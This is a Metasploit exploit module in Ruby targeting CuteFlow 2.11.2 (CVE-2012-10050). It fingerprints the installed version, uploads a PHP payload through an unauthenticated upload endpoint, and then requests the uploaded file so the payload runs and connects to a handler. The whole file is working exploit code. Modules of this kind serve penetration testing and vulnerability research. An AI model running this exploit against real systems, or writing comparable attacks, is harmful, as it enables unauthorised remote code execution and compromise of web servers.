##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "CuteFlow v2.11.2 Arbitrary File Upload Vulnerability",
        'Description' => %q{
          This module exploits a vulnerability in CuteFlow version 2.11.2 or prior.
          This application has an upload feature that allows an unauthenticated
          user to upload arbitrary files to the 'upload/___1/' directory
          and then execute it.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'bcoles' # Discovery and exploit
        ],
        'References' => [
          ['CVE', '2012-10050'],
          ['URL', 'http://web.archive.org/web/20210922054637/https://itsecuritysolutions.org/2012-07-01-CuteFlow-2.11.2-multiple-security-vulnerabilities/'],
          ['OSVDB', '84829'],
          # ['EDB',   ''],
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['Automatic Targeting', { 'auto' => true }]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-07-27',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to the web application', '/cuteflow_v.2.11.2/'])
      ]
    )
  end

  def check
    base = normalize_uri(target_uri.path)
    base << '/' if base[-1, 1] != '/'
    res = send_request_raw({
      'method' => 'GET',
      'uri' => base
    })

    if res.body =~ /\<strong style\=\"font\-size\:8pt\;font\-weight\:normal\"\>Version 2\.11\.2\<\/strong\>\<br\>/
      return Exploit::CheckCode::Appears
    elsif res.body =~ /\<a href\=\"http\:\/\/cuteflow\.org" target\=\"\_blank\"\>/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def upload(base, fname, file)
    # construct post data
    boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
    data_post = "--#{boundary}\r\n"
    data_post << "Content-Disposition: form-data; name=\"attachment1\"; filename=\"#{fname}\"\r\n"
    data_post << "Content-Type: text/php\r\n"
    data_post << "\r\n"
    data_post << file
    data_post << "\r\n"
    data_post << "--#{boundary}\r\n"

    # upload
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(base, "pages/restart_circulation_values_write.php"),
      'ctype' => "multipart/form-data; boundary=#{boundary}",
      'data' => data_post,
    })

    return res
  end

  def exploit
    base = normalize_uri(target_uri.path)
    base << '/' if base[-1, 1] != '/'

    # upload PHP payload to upload/___1/
    print_status("Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
    fname = rand_text_alphanumeric(rand(10) + 6) + '.php'
    php = %Q|<?php #{payload.encoded} ?>|
    res = upload(base, fname, php)
    if res.nil?
      print_error("Uploading PHP payload failed")
      return
    end

    # retrieve and execute PHP payload
    print_status("Retrieving file: #{fname}")
    send_request_raw({
      'method' => 'GET',
      'uri' => normalize_uri(base, "upload/___1/#{fname}")
    })

    handler
  end
end
